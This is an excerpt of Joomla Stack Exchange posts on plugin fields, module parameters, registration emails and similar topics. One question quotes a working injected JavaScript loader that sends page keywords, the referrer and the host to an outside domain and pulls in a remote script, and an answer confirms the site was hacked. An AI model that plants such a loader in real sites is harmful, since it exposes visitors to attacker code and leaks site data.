  <row Id="15764" PostTypeId="1" AcceptedAnswerId="15766" CreationDate="2016-03-21T09:19:15.320" Score="4" ViewCount="578" Body="&lt;p&gt;With the help of &lt;a href=&quot;https://joomla.stackexchange.com/q/2395/36&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; I made a plugin to &lt;strong&gt;add a custom fields to the article component&lt;/strong&gt;. It works fine but I would like to make these custom fields &lt;strong&gt;mandatory and only for a specific article category&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is called &quot;acf&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;acf.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA; class plgContentAcf extends JPlugin {&#xA;    protected $autoloadLanguage = true;&#xA;    function onContentPrepareForm($form, $data) {&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        switch($option) {&#xA;            case 'com_content':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('content', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA; }&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;acf.xml :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.4&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_acf&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;This is the description of the plugin&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;acf&quot;&amp;gt;acf.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_content_acf.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_content_acf.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;forms/content.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;    &amp;lt;fieldset name=&quot;acf&quot; &amp;gt;&#xA;      &amp;lt;field&#xA;        type=&quot;filelist&quot;&#xA;        name=&quot;path&quot;&#xA;        label=&quot;Document&quot;&#xA;        directory=&quot;images/documents&quot;&#xA;        filter=&quot;\.pdf$&quot;&#xA;        hide_default=&quot;true&quot;&#xA;        validate=&quot;options&quot;&#xA;      /&amp;gt;&#xA;      &amp;lt;field&#xA;        name=&quot;anchor&quot;&#xA;        type=&quot;text&quot;&#xA;        label=&quot;Anchor&quot;&#xA;        description=&quot;Description here&quot;&#xA;        class=&quot;required&quot;&#xA;      /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="36" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-21T10:23:21.777" Title="Article custom fields for one category" Tags="|joomla-3.x|plugin|com-content|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15765" PostTypeId="1" AcceptedAnswerId="15803" CreationDate="2016-03-21T09:56:54.777" Score="0" ViewCount="570" Body="&lt;p&gt;How to crop and fix image in intro image on category blog layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PCgwQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PCgwQ.jpg&quot; alt=&quot;category blog layout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is full image in full article like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1jx9c.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jx9c.jpg&quot; alt=&quot;full image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2016-03-22T22:04:13.067" Title="Fix image size in category blog layout" Tags="|joomla-3.4|category-blog|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15766" PostTypeId="2" ParentId="15764" CreationDate="2016-03-21T10:23:21.777" Score="4" Body="&lt;p&gt;Right, been playing around and got it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're firstly going to need to add the parameter to select a category to your &lt;strong&gt;acf.xml&lt;/strong&gt; file, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;category&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;acf.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentAcf extends JPlugin &#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function onContentPrepareForm($form, $data)&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if ($app-&amp;gt;isAdmin())&#xA;        {&#xA;            $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;            $view   = $app-&amp;gt;input-&amp;gt;get('view');&#xA;&#xA;            if ($option === 'com_content' &amp;amp;&amp;amp; $view === 'article')&#xA;            {&#xA;                $model = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;                $catid = $model-&amp;gt;getItem($app-&amp;gt;input-&amp;gt;get('id'))-&amp;gt;catid;&#xA;&#xA;                if ($this-&amp;gt;params-&amp;gt;get('category') === $catid)&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('content', false);&#xA;                }&#xA;            }&#xA;&#xA;            return true;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've made a few changes to the code, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove the switch/case.&lt;/li&gt;&#xA;&lt;li&gt;Ensure all code is only executed when &lt;code&gt;isAdmin&lt;/code&gt; is true&lt;/li&gt;&#xA;&lt;li&gt;Ensure the form field and params are retrieved only on the &lt;code&gt;article&lt;/code&gt; view in the &lt;code&gt;com_content&lt;/code&gt; component&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The form is then only loaded when the ID of the category selected in the plugin options, match the category ID of the current article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-21T10:23:21.777" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15767" PostTypeId="1" CreationDate="2016-03-21T12:01:00.047" Score="1" ViewCount="71" Body="&lt;p&gt;Can someone please let me know how set an automated response when someone register on my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, if someone registers on my site, they get an automated message saying the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for registering at Keyloop elabs. Your account is created and must be verified before you can use it.&#xA;  To verify the account click on the following link or copy-paste it in your browser:&#xA;   &lt;a href=&quot;http://www.keylooplabs.com/index.php/settings/your-profile?task=registration.activate&amp;amp;token=321708980e005c2d7e831a89463c95c2&quot; rel=&quot;nofollow&quot;&gt;http://www.keylooplabs.com/index.php/settings/your-profile?task=registration.activate&amp;amp;token=321708980e005c2d7e831a89463c95c2&lt;/a&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After verification an administrator will be notified to activate your account. You'll receive a confirmation when it's done.&#xA;  Once that account has been activated you may login to &lt;a href=&quot;http://www.keylooplabs.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.keylooplabs.com/&lt;/a&gt; using the following username and password:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to configure Joomla to send an automated response when they click on the link to verify their account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="3650" LastEditDate="2016-11-17T18:49:12.967" LastActivityDate="2016-11-17T18:49:12.967" Title="Automated Auhorization Response" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15768" PostTypeId="1" AcceptedAnswerId="15772" CreationDate="2016-03-21T13:16:20.000" Score="0" ViewCount="2488" Body="&lt;p&gt;I did some modifications and added some extra functions in the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/MY_COMPONENT/helper/MYFILE.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do to not lose these modifications in a future component update?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T14:56:20.460" LastActivityDate="2016-10-05T14:56:20.460" Title="How to override helper file in template?" Tags="|overrides|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15769" PostTypeId="1" CreationDate="2016-03-21T13:27:05.840" Score="1" ViewCount="525" Body="&lt;p&gt;When the website is opened, I notice a message on the lower left hand side of the page with an unfamiliar address. Examining the source code I see the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+&quot;//&quot;+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.blackdragon.fr/js/jquery.min.php?c_utt=G91825&amp;amp;c_utm='+encodeURIComponent('http://www.blackdragon.fr/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x&amp;lt;y;x++){if(metas[x].name.toLowerCase()==&quot;keywords&quot;){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&amp;amp;]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&amp;amp;se_referrer='+encodeURIComponent(document.referrer)+'&amp;amp;source='+encodeURIComponent(window.location.host))+'&quot;&amp;gt;&amp;lt;'+'/script&amp;gt;');}&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I been hacked? Advice would be appreciated. -Carter&lt;/p&gt;&#xA;" OwnerUserId="7738" LastEditorUserId="3650" LastEditDate="2016-03-21T14:38:01.793" LastActivityDate="2016-03-21T15:25:04.077" Title="Scary Code on Joomla Site" Tags="|hack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15771" PostTypeId="2" ParentId="15769" CreationDate="2016-03-21T15:18:54.947" Score="1" Body="&lt;p&gt;Yes, your site has been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, review the following checklist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security Checklist/You have been hacked or defaced&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://joomla.stackexchange.com/questions/2305/what-to-do-if-my-joomla-website-got-hacked/2316&quot;&gt;What to do if my Joomla website got hacked?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-21T15:25:04.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15772" PostTypeId="2" ParentId="15768" CreationDate="2016-03-21T15:30:51.367" Score="3" Body="&lt;p&gt;If the &lt;strong&gt;Helper&lt;/strong&gt; Class is loaded in a dynamic way, checking if it's already loaded, YES. You can override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not with a HTML overrides, but with a &lt;strong&gt;System Plugin&lt;/strong&gt;. You can create a System plugin, loading same &lt;strong&gt;Helper&lt;/strong&gt; Class before the original one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, check this related question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-21T15:30:51.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15773" PostTypeId="2" ParentId="15767" CreationDate="2016-03-21T15:52:58.873" Score="1" Body="&lt;p&gt;As per official Joomla documentation on &lt;a href=&quot;https://docs.joomla.org/Help34:Components_Users_Configuration&quot; rel=&quot;nofollow&quot;&gt;Components Users Configuration&lt;/a&gt;, it states under Component Settings | New User Account Activation that there are three options:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;None. User account will be active immediately with no action&#xA;required.   &lt;/li&gt;&#xA;&lt;li&gt;Self. User will receive an email with an activation link.&#xA;The account will be activated when the user clicks the activation&#xA;link.   &lt;/li&gt;&#xA;&lt;li&gt;Admin. User will receive an email with an activation link.&#xA;When the user clicks this link, the Site Admin will be notified via&#xA;email and the Site Admin needs to activate the user's account.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems you should set option &lt;code&gt;Self&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-03-21T15:52:58.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15774" PostTypeId="1" AcceptedAnswerId="15775" CreationDate="2016-03-21T16:03:37.970" Score="2" ViewCount="163" Body="&lt;p&gt;I am trying to develop a module to use JWPlayer's URL Toekn Signing (docs can be found here &lt;a href=&quot;http://developer.jwplayer.com/jw-platform/reference/v1/content_signing.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.jwplayer.com/jw-platform/reference/v1/content_signing.html&lt;/a&gt;) but I'm having an issue with the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following fields in the module's XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;key&quot; type=&quot;text&quot; label=&quot;API Key&quot; default=&quot;key&quot; description=&quot;API Key&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;secret&quot; type=&quot;text&quot; label=&quot;API Secret&quot; default=&quot;secret&quot; description=&quot;API Secret&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;expires&quot; type=&quot;text&quot; label=&quot;Expires&quot; default=&quot;Expires&quot; description=&quot;Expires&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;mediaid&quot; type=&quot;text&quot; label=&quot;Media ID&quot; default=&quot;Media ID&quot; description=&quot;Media ID&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;domain&quot; type=&quot;text&quot; label=&quot;DNS Masking&quot; default=&quot;Domain&quot; description=&quot;Domain&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These variables output correctly via PHP. However, when I'm building the URL using Javascript, it's failing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written the following for the modules default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key = $params-&amp;gt;get('key');&#xA;$secret = $params-&amp;gt;get('secret');&#xA;$domain = $params-&amp;gt;get('domain');&#xA;$mediaid = $params-&amp;gt;get('mediaid');&#xA;$expires = $params-&amp;gt;get('expires');&#xA;&#xA;function get_signed_player($key,$mediaid,$domain,$secret,$expires) {&#xA;  $path = &quot;players/&quot;.$key.&quot;-&quot;.$mediaid.&quot;.js&quot;;&#xA;  $signature = md5($path.':'.$expires.':'.$secret);&#xA;  $url = 'http://'.$domain.'/'.$path.'?exp='.$expires.'&amp;amp;sig='.$signature;&#xA;  return $url;&#xA;};&#xA;&#xA;echo &quot;&amp;lt;p&amp;gt;Watch this cool video:&amp;lt;/p&amp;gt;&quot;&#xA;echo &quot;&amp;lt;script type='text/javascript' src='&quot;.get_signed_player($key,'ALJ3XQCI').&quot;'&amp;gt;&amp;lt;/script&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-03-21T16:36:01.577" Title="Mixing PHP variables and JS variables in output" Tags="|php|joomla-3.4|module|javascript|module-params|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15775" PostTypeId="2" ParentId="15774" CreationDate="2016-03-21T16:25:54.380" Score="1" Body="&lt;p&gt;Ok just realised that the reason it's not working is because you're not passing the parameter values through the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key     = $params-&amp;gt;get('key');&#xA;$secret  = $params-&amp;gt;get('secret');&#xA;$domain  = $params-&amp;gt;get('domain');&#xA;$mediaid = $params-&amp;gt;get('mediaid');&#xA;$expires = $params-&amp;gt;get('expires');&#xA;&#xA;function get_signed_player($key, $mediaid, $domain, $secret, $expires)&#xA;{&#xA;    $path      = 'players/' . $key . '-' . $mediaid . '.js';&#xA;    $signature = md5($path . ':' . $expires . ':' . $secret);&#xA;    $url       = 'http://' . $domain . '/' . $path . '?exp=' . $expires . '&amp;amp;sig=' . $signature;&#xA;&#xA;    return $url;&#xA;}&#xA;&#xA;echo '&amp;lt;p&amp;gt;Watch this cool video:&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;script src=&quot;' . get_signed_player($key, $mediaid, $domain, $secret, $expires) . '&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've replaced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_signed_player($key,'ALJ3XQCI')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_signed_player($key, $mediaid, $domain, $secret, $expires)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that everything is passed through correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why, but I've also formatted the code as I'm in one of those pedantic moods today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as an FYI, your function should really go into a &lt;strong&gt;helper.php&lt;/strong&gt; file, rather than being in the &lt;strong&gt;default.php&lt;/strong&gt;. This file of for the view of the module and therefore should contain the HTML markup. Any processing/excecution of data, should be in a separate helper file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-21T16:36:01.577" LastActivityDate="2016-03-21T16:36:01.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15776" PostTypeId="1" AcceptedAnswerId="15778" CreationDate="2016-03-21T16:42:48.157" Score="0" ViewCount="356" Body="&lt;p&gt;How can I add the attribute &lt;code&gt;enctype=&quot;multipart/form-data&quot;&lt;/code&gt; to the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag in the configuration page for a module? That attribute is needed to upload a file to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to upload a spreadsheet to the server so it can be parsed and have the records inserted into the database. This must be done from the admin section of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think adding that attribute would be the easiest way to send a chosen file to the server for processing. If there is a better suggestion, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; section of my &lt;code&gt;mod_&amp;lt;x&amp;gt;.xml&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;fileUpload&quot; type=&quot;file&quot; default=&quot;&quot; label=&quot;Data File&quot; accept=&quot;.csv&quot;&#xA;                   description=&quot;File containing records to upload to database.&quot;/&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8061" LastActivityDate="2016-03-21T16:49:41.027" Title="How to add attribute to &lt;form&gt; of backend for module" Tags="|joomla-3.x|jform|module-params|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15777" PostTypeId="2" ParentId="15763" CreationDate="2016-03-21T16:42:59.510" Score="1" Body="&lt;p&gt;There are a couple of ways you could approach this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is the put all your custom files in the helpers folder.  If you opted for this approach I'd recommend providing a single entry point which either loads all required class files or provides programmatic access to the underlying functionality.  Then simply include the file using JLoader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoaders::register('MyCustomHelpers', JPATH_COMPONENT . '/helpers/mycustomhelpers.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other methods involve using the root libraries folder.  Although you could register the classes the same way as with files in the helpers folder of your component, Joomla provides a better mechanism for loading files in the libraries folder.  For example, let's say you created a folder in libraries called 'acme' which had a folder called 'helpers' with a PHP class called widgets.php.  You would load this file from anywhere inside your code base by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('acme.helpers.widgets');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way still requires manual addition where ever the class is the be used, and of course managing all the dependencies inside the acme folder (which is the same as managing files in the helpers folder).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a complex set of helpers classes or custom libraries a much better, more comprehensive solution would be to use namespaces.  A full discussion on namespacing is beyond the scope of this answer, but to include a namespace requires proper formating of folder taxonomy and file naming; as well executing the JLoader::regsiterNamspace() command during the onAfterInitialise() event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Autoload&lt;/strong&gt;: namespaces require autoload files, which can be generic or specific to your naming convention.  I would suggest using a generic one as it will force development to adhere to the standards.  A simple file called autoload.php loaded at libaries/acme/src/Acme/autoload.php with the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function acmeAutoload ($className)&#xA;{&#xA;    include(__DIR__ . &quot;/&quot; . $className . &quot;.php&quot;);&#xA;}&#xA;&#xA;spl_autoload_register(&quot;acmeAutoload&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Folders&lt;/strong&gt;:  All namespaced files must be under a src folder.  So using previous examples, your taxonomy would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libraries/acme/src/Acme/Helpers/Widgets.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Register&lt;/strong&gt;:  Create a plugin or added a hook into an existing plugin for the onAfterInitialise event like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterInitialise()&#xA;{&#xA;    JLoader::registerNamespace('Acme', JPATH_LIBRARIES . '/acme/src');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of links which helped me along the way. Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;Joomla Namespacing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php-fig.org/psr/psr-0/&quot; rel=&quot;nofollow&quot;&gt;PSR-0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.namespaces.php&quot; rel=&quot;nofollow&quot;&gt;PHP Namespacing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-21T16:42:59.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15778" PostTypeId="2" ParentId="15776" CreationDate="2016-03-21T16:49:41.027" Score="2" Body="&lt;p&gt;The short answer is there's an &quot;easier&quot; way.  The assumption being you need to provide a means for a user to upload a file as part of the core configuration of the module.  Since there isn't a mechanism to override extension configuration layouts in back-end views, the best solution IMO is to use the media field instead for file uploads.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will open a modal to the media folder view, and more importantly, provide the proper UI for uploading files.  In addition, it provides the added benefit of allowing admins to use existing files already uploaded and not requiring you to write the server side code which handles the saving of the file to the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to edit the allowed MIME types depending on what kind of file is being uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Media_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Joomla Media Field Type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-21T16:49:41.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15781" PostTypeId="1" AcceptedAnswerId="15805" CreationDate="2016-03-22T11:53:47.513" Score="2" ViewCount="80" Body="&lt;p&gt;I'm finishing my Joomla site soon. &lt;br&gt;&lt;br&gt;&#xA;I have:&lt;br&gt;&#xA;1. Removed unnecessary images from site folder.&lt;br&gt;&#xA;2. Unpublished unnecessary modules, articles, categories.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What any other optimizations can be done in order my site to load faster?&lt;br&gt;&#xA;It feels that it is loading a little bit slower.&lt;br&gt;&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7343" LastEditorUserId="3650" LastEditDate="2016-03-22T12:28:39.590" LastActivityDate="2016-03-23T14:24:55.827" Title="Site optimization prior to deployment" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
